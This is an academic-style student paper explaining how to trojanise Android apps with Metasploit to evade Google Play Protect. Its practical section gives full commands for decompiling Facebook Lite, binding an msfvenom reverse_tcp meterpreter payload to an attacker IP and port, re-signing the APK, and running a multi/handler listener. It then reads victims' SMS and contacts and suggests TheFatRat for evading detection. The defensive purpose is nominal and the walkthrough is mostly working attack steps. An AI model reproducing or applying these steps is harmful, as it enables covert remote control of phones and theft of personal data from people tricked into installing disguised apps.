



IN APPLIED SCIENCE & ENGINEERING TECHNOLOGY

Volume: 8 Issue: IV Month of publication: April 2020 DOI:

www.ijraset.com

Call: 🛇 08813907089 🕴 E-mail ID: ijraset@gmail.com



A Study on Bypassing Google Play Protect using Metasploit Framework

Tushar Jha¹, Abhishek Bajaj², Lakshya Nagpal³

^{1, 2, 3}Students, Department of Computer Science, Faculty of Engineering and Technology, Manav Rachna International Institute of Research and Studies

Abstract: This research paper elaborates the concept of how we will be bypassing the google play protect security and take access of android device. First, we will discuss the Metasploit Framework is followed by a brief description of payloads, encoders, auxiliary modules and also, we will go through the google play protect, APK, meterpreter, Apktool, jarsigner definations. Lastly, we will use MSF venom for generating payload and binding with an existing application and setup listener to Metasploit framework. Once the victim downloads and install the .APK file/ application then, an attacker can easily get back reverse connection on Metasploit. To install apk/application on victim mobile an attacker may need to do some social engineering. Keyword: Meterpreter, Apktool, Jarsigner, Play protect, MSFVenom.

I. INTRODUCTION

Over the past few year's internet is drastically changed and usage of internet is at high level. Most of the internet accessed by the smartphone. Smartphone basically based on android or mac. In the real-world usage of android is around 80-90% and so vast enhancement in technologies enhance the exposure of risk. So many hackers started to access the victim smartphone using some techniques. As studies says Main medium of entering in the system of most of the android user is application/.apk files. As when we install any application it asks for some permission that is used by the application provider company.so, viewing this hackers set a payload and modified the request in such a way that application/apk forwards information/redirect a session to the hackers.

For reducing the exposure of risk Google launched google play protect in May 2016 which is based on some machine learning algorithm and it has a work to scan all the application/apk file for any malicious code/payload that is installed on a user android system. However, vulnerabilities are not limited. so, vulnerabilities exist and can be unintentionally induced in system.

A. What is Mobile application?

A mobile application referred as a mobile app and also an app and display in the form of .apk files. It is a computer programm or software which provides us some services like email, chat, gaming and entertainment services also. App made up of numbers of source code, directories, folders etc. which can be alter by the user using reverse engineering tool for their own benefit. In our case we use the Ludo king apk file to bypass the google play protect and get access into the target system.

B. What is security Bypass?

Bypass means going through by externall route rather than the route, which is authorized, or we can also say that it is a flaw in any security system that allow an attacker to overcome the security mechanism to get into the system.

We will be going to do the google play protect bypass. So next we will be discussing some phases, tools and software's used in it like apk, Metasploit framework, apktool, jarsigner, etc.

II. PHASES IN BYPASSING GOOGLE PLAY PROTECT

A. Apktool

Apktool is a reverse engineering tool that can be used to decode the apk into its original form. By using this we can modify the source code and rebuild or encode into the Apk. In our apktool phase we have apk of ludo king for which we decompile the ludo king to its into original form/source code and modify the source code according to our needs and rebuild into an Apk.

B. What is Metasploit Framework?

The Metasploit is a cyber security project that bascically provides information about the security vulnerabilities and aids in penetration testing and IDS signature development.

It is owned by security company Rapid7.

Metasploit framework is basically based on Perl language which was created by H.d Moore in 2003. By 2007 it is rewritten in Ruby.



International Journal for Research in Applied Science & Engineering Technology (IJRASET) ISSN: 2321-9653; IC Value: 45.98; SJ Impact Factor: 7.429

Volume 8 Issue IV Apr 2020- Available at www.ijraset.com

It is a tool which was developed for penetration tester, network administrator, researchers for network analysis purpose and strengthing the network by finding the vulnerabilities with the help of tool and reduce the threat exposure.

At the time of writing the paper Metasploit has 547 payloads, 20 encoders etc. it has different-diifferent payloads for command shell, smb service, android service, tcp services, http services etc. It has dynamic and static payloads for evading anti-virus defense and enable static IP address/port forwarding for communication betwwn the host and client system. It has also auxillary module which also act as a network scanner and post exploitation module for executing the backdoors in the victim's system. Metasploit framework consists of two major parts which is discussed below.

1) Two major Parts

- a) Msfconsole: It enables the use of all the payloads, encoders and auxillary module on victim system.
- *b) Msfvenom:* It is useful tool also known as msfpayload, msfencode. This tool is used for generating the payloads in various formats and encoding these payloads using various encoder modules.

In our Metasploit phase We use the Metasploit framework basically for binding the payload in the .apk file using msfvenom and executing the exploit android/multi/handler using msfconsole which will give us meterpreter session.

C. What is Meterpreter session?

It is a type of payload which is inbuilt in the Metasploit framework that provides us a control over an exploited victim system, running inside of any process on victim machine.

D. Jarsigner:

The **jarsigner** tool or command uses keys and certificates information from a keystore to generate digital signatures for JAR files. As keystore is a database of private keys and their associated X. There is a chain of 509 certificate that authenticate the corresponding public keys.

In our jarsigner phase we have signed the digital signature and certificate in such that the integrity of key is maintained and our apk is authenticated by the google play protect.

E. Result of Test

The result is the test provide the assessment about the different entry point in android systems and the vulnerabilities in google play protect. This information can be used for patching the vulnerabilities of google play protect.

OS – Kali Linux 2020.1

III. PRACTICAL ANALYSIS

A. Manual Analysis

Our first work is selecting a legitimate .APK file. So, we selected the Facebook-lite-191-0-0-7-122.apk and downloaded from https://facebook-lite.en.softonic.com/android/download



After successfully downloading the .APK file,

We used **apktool** for decompiling the .APK file

We open our terminal and type apktool d facebook-lite-191-0-0-7-12.apk and press enter key.



ISSN: 2321-9653; IC Value: 45.98; SJ Impact Factor: 7.429 Volume 8 Issue IV Apr 2020- Available at www.ijraset.com

root1@root:~/Desktop	p
File Actions Edit View Help	
<pre>rootificent:~/Desktop\$ apktool d facebook-lite-191-0-0-7-122.apk Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=tr I: Using Apktool 2.4.1 on facebook-lite-191-0-0-7-122.apk I: Loading resource table I: Decoding AndroidManifest.xml with resources I: Loading resource table from file: /home/root1/.local/share/apktool/frame I: Regular manifest package I: Decoding file-resources I: Decoding values */* XMLs I: Baksmaling classes.dex I: Copying assets and libs I: Copying unknown files I: Copying original files I: Copying original files</pre>	rue ework/1.apk

After decompiling we have the directory named facebook-lite-191-0-0-7-122.apk as an output which contain an original form (source code) of apk.

Now I want AndroidManifest.xml and smali folder for misconfiguring some user-permissions and binding the payload

	Mozilla Firefox
/home/root1/Desktop/facebc × +	
😑 $ ightarrow$ 🔿 🕜 file:///home/root1/Desktop/facebook-lite-191-0-0-7-122/AndroidManifest.xml	
🔺 Kali Linux 🥆 Kali Training 🥆 Kali Tools 💆 Kali Docs 🥆 Kali Forums 🐟 NetHunter 👔 Offensive Security 👅 Exploit-[DB 🐀 GHDB 👖 MSFU
<uses-permission android:name="com.facebook.lite.permission.C2D_MESSAGE"></uses-permission>	
<uses-feature android:name="android.hardware.camera" android:required="false"></uses-feature>	
<pre><uses-teature android:name="android.hardware.camera.autofocus" android:required="false"></uses-teature></pre>	
<uses-reature android.name="android.hardware.telephony" android:required="false"></uses-reature>	
<uses-feature android:name="android.hardware.microphone" android:required="false"></uses-feature>	
<uses-realured android:name="android.nardware.location" android:required="talse"></uses-realured>	
<uses-feature android.name="android hardware.location.network" android:required="talse"></uses-feature>	
<uses-feature .android:required="faise" and="" outiname="android bardware.udfl"></uses-feature>	
 ses feature android name = "android hardware touchscreen" android monimad = "false"/> 	
<pre>sign android:name="confacebook receiver permission ACCESS" android-metactionI av</pre>	el="signature"/>
<pre>commission android:name="com.facebook.permission.prod.FB_APP_COMMUNICATION" and roid</pre>	l:protectionLevel="signature"/>
<uses-permission and="" pid:name="android.permission.ACCESS COARSE LOCATION"></uses-permission>	
<uses-permission android:name="android.permission.ACCESS FINE LOCATION"></uses-permission>	
<uses-permission android:name="android.permission.ACCESS WIFI STATE"></uses-permission>	
<uses-permission android:name="android.permission.BATTERY STATS"></uses-permission>	
<uses-permission android:name="android.permission.BROADCAST STICKY"></uses-permission>	
<uses-permission android:name="android.permission.CALL_PHONE"></uses-permission>	
<uses-permission android:name="android.permission.CAMERA"></uses-permission>	
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"></uses-permission>	
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"></uses-permission>	
<uses-permission-sdk-23 android:name="android.permission.FOREGROUND_SERVICE"></uses-permission-sdk-23>	
<uses-permission android:name="android.permission.GET_TASKS"></uses-permission>	
<uses-permission android:name="android.permission.READ_CALENDAR"></uses-permission>	
<uses-permission android:name="android.permission.READ_CONTACTS"></uses-permission>	
<uses-permission android:name="android.permission.GET_ACCOUNTS"></uses-permission>	
 Susses-permission android:name= android.permission.AUTHENTICATE_ACCOUNTS"/> Susses-permission android:name="android permission AUTHENTICATE_ACCOUNTS"/> 	
-uses-permission and oldiname - and old permission. MANAGE_ACCOUNTS />	
<uses-permission and="" android="" boot="" completed"="" name="android permission READ_FROME_SIALE7></th><th></th></tr><tr><th> ses-permission android:name=" old="" permission="" receive=""></uses-permission>	
<uses-permission android:name="android.permission RECORD_AUDIO"></uses-permission>	
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"></uses-permission>	
<uses-permission android:name="android.permission.VIBRATE"></uses-permission>	
<uses-permission android:name="android.permission.WRITE CALENDAR"></uses-permission>	
<uses-permission android:name="android.permission.WRITE CONTACTS"></uses-permission>	
<uses-permission android:name="android.permission.WRITE_EXTERNAL STORAGE"></uses-permission>	
<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT"></uses-permission>	
<uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT"></uses-permission>	
<uses-permission android:name="com.facebook.receiver.permission.ACCESS"></uses-permission>	
<uses-permission android:name="com.facebook.katana.provider.ACCESS"></uses-permission>	
<uses-permission android:name="com.facebook.orca.provider.ACCESS"></uses-permission>	
<uses-permission android:name="com.facebook.mlite.provider.ACCESS"></uses-permission>	
<uses-permission android:name="com.facebook.wakizashi.provider.ACCESS"></uses-permission>	
<uses-permission android:name="com.tacebook.permission.prod.FB_APP_COMMUNICATION"></uses-permission>	
<uses-permission android:name="com.sec.android.provider.badge.permission.WRITE"></uses-permission>	

After getting the file we have to bind the payload. therfore we use msfvenom for it.

2. Msfvenom use

-x: input the .APK file

-p: for binding payload in file (we use android/meterpreter/reverse_tcp)

LHOST: Attacker IP address (192.168.43.123)

LPORT: on which port we want reverse_tcp connection (4444)0

-o: output apk (Facebook.apk)

We open our terminal and type msfvenom -x Facebook-lite-191-0-0-7-122.apk -p android/meterpreter/reverse_tcp

Lhost=192.168.43.123 LPORT=4444 -o facebook.apk

Press Enter



ISSN: 2321-9653; IC Value: 45.98; SJ Impact Factor: 7.429 Volume 8 Issue IV Apr 2020- Available at www.ijraset.com



After getting payload .apk file we have to add certificates and digital signatures so it can act as legitimate app in any smartphone and pass all the security checks.

Type in terminal java -jar signapk.jar certificate.pem key.pk8 output.apk facebook.apk

Our .APK file is ready for installing in any android system.

We used Redmi 4A -android 7(noughat) for our testing and send the application through shareit.



As the application is successfully installed in the victim android smartphone.

Now we started our Msfconsole Listner which handle reverse_tcp connection and provide us meterpreter session.

Open Terminal and Type: msfconole

Metasploit Framework Started



ISSN: 2321-9653; IC Value: 45.98; SJ Impact Factor: 7.429 Volume 8 Issue IV Apr 2020- Available at www.ijraset.com



Way to Connect Remote android

msf> Exploit android/multi/handler

msf exploit(multi/handler)> Set Payload android/metrepreter/reverse_tcp

msf exploit(multi/handler)> show options

msf exploit(multi/handler)> Set LHOST 192.168.43.123

msf exploit(multi/handler)> Set LPORT 4444

msf exploit(multi/handler)> exploit

Output: Meterpreter session get opened.

陰 📰 📩 🖳 📲 🔲 🛑 🍐 Kali Linux, an Offensive 🖻 root1@root: ~	📉 📔 💼 🖼 📲 📔 💶 🔺 Kali Linux, an Offensive 🖬 root1@root: ~
File Actions Edit View Help notti@root:- S	File Actions Edit View Help nost15/most-> 🕷 mot16/most-> 🕷
Id Name Vall Fraining N, Kall Tools 🖉 Kall Droc N, Kall Forans III Nerblanter 🕴 Offensive Secon	Exploit target: "The op A ten nois (Photoes A ten comes a balloner) Checkessadin - A Epoblog
0 Wildcard Target	Id Name
KALLING KALLING	e Wildcard Target
<pre>msf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp/ [-] The value specified for payload is not valid.</pre>	
msf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp payload ⇒ android/meterpreter/reverse_tcp	<pre>msf5 exploit(multi/handler) > exploit</pre>
<pre>msf5 exploit(multi/handlex) > show options</pre>	 Started reverse TCP handler on 192.168.43.123:4444 Sending stage (73550 bytes) to 192.168.43.1
Module options (exploit/multi/handler):	[*] Meterpreter session 1 opened (192.168.43.123:4444 → 192.168.43.1:49671) at 2020-03-31 15:46:38 +0530
Name Current Setting Required Description	meterpreter > help
	Core Commands
Payload options (android/meterpreter/reverse_tcp):	Command Description
Name Current Setting Required Description	
LHOST yes The listen address (an interface may be specified)	background Backgrounds the current session
	bgkill Kills a background meterpreter script
Exploit target:	bgrun Executes a meterpreter script as a background thread
Id Name	channel Displays information of control active channels close Closes a channel
0 Wildcard Target	disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings
	exit Terminate the meterpreter session get_timeouts Get the current session timeout values
<u>msf5</u> exploit(<u>milla</u> /handler) > set Lhost 192.168.43.123 Lhost ⇒ 192.168.43.123	guid Get the session GUID help Help menu
<pre>msf5 exploit(multi/handler) > show options</pre>	info Displays information about a Post module irb Open an interactive Ruby shell on the current session
Module options (exploit/multi/handler):	load Load one or more meterpreter extensions machine id Get the MSF ID of the machine attached to the session
Name Current Setting Required Description	pry Open the Pry debugger on the current session quit Terminate the meterpreter session
	read Reads data from a channel resource Run the commands stored in a file
Payload options (android/meterpreter/reverse_tcp):	run Executes a meterpreter script or Post module Secure (Re)Negotiate TLV packet encryption on the session
Name Current Setting Required Description	sessions Quickly switch to another session
LHOST 192.168.43.123 yes The listen address (an interface may be specified)	sleep Force Meterpreter to go quiet, then re-establish session.
	use Deprecated alias for "load"
Exploit target:	write Writes data to a channel
Id Name Access of Access of	
0 Wildcard Target	Stdap1: File system Commands
Lustinii, complex mugBr, with rester administration Distance to provide value to service groups	Command Description
<pre>msf5 exploit(multi/handler) ></pre>	

If we want to check all the sms which is stored in victim's machine use dump_sms. If we want to check all the details of contacts which is stored in victim's machine use dump_contacts. So, we can easily access the android system as we want. After that we searched for any Automated Tool that can easy the process.so we find Fatrat and used this tool and result were same and accurate.



B. Automated Analysis TheFatRat Open Terminal type Fatrat It launched



All the steps are same for this tool, but it is much easier and automated tool and also its payload are very unique, so it reduces chance of detection by Google play protect or any other security system.

We can also use other apps for this purpose: PUBG INSTAGRAM LUDO KING MESSANGER

IV. RESULT

According to our analysis There is vulnerability exist in google play protect security system that can easily be exploited by binding android payload and signing the certificate and digital signature using the jarsigner, zipsigner etc. and can easily get access of any android system and when we used the automated tool like TheFatRat it can make more easy to get undectable and get access of any android device.

Second Vulnerability that we feel that everyone can easily decompile any .apk file and get access of some important folders and source code just like we did. There is no security associated with this like password, pin etc. so that only authenticate person and permissiable user can access the files of apk

V. CONCLUSIONS

Mobile application is used by everyone in the world. There are many applications such as games, email, banking etc. that provides us a very essential services so we cannot avoid them. we can make more secure application for reducing the risk but we cannot make any application completely secure although there is chance of vulnerabilities existence that can be exploited by many procedure and techniques like reverse engineering, scanning, exploitation, post exploitation that can help us the exploit the vulnerability. But it also helps any organisation to test the reliability, security and other parameters of the application. This paper discussed the different phases of bypassing the Google play protect that consist of decompilation, binding payload, forge signature and certificates, and msfconsole listener. It is easily can be done manually and using automated tools



ISSN: 2321-9653; IC Value: 45.98; SJ Impact Factor: 7.429 Volume 8 Issue IV Apr 2020- Available at www.ijraset.com

VI. ACKNOWLEDGEMENT

We would like to thanks our university Manav Rachna International Institute of Research and Studies, Faridabad for providing us the support during the whole time of research. we would also like to thanks our guide Dr. Madumita, Assistant Professor who help us lot from beginning to end of research by providing us the clear vision and by finding errors in our research work.

REFERENCES

- [1] https://www.irjet.net/archives/V5/i12/IRJET-V5I1236.pdf
- [2] https://www.infosecwriters.com/text_resources/pdf/jmarquez_Metasploit.pdf
- [3] <u>https://www.metasploit.com/</u>
- [4] <u>https://github.com/iBotPeaches/Apktool</u>
- [5] https://docs.oracle.com/javase/7/docs/technotes/tools/windows/jarsigner.html
- [6] <u>https://github.com/Screetsec/TheFatRat</u>
- [7] <u>https://facebook-lite.en.softonic.com/android/download</u>
- [8] <u>https://www.pdfdrive.com/metasploit-penetration-testing-cookbook-evade-antiviruses-bypass-firewalls-and-exploit-complex-environments-with-the-most-widely-used-penetration-testing-framework-e176241528.html</u>
- [9] <u>https://www.ijraset.com/fileserve.php?FID=5055</u>











45.98



IMPACT FACTOR: 7.129







INTERNATIONAL JOURNAL FOR RESEARCH

IN APPLIED SCIENCE & ENGINEERING TECHNOLOGY

Call : 08813907089 🕓 (24*7 Support on Whatsapp)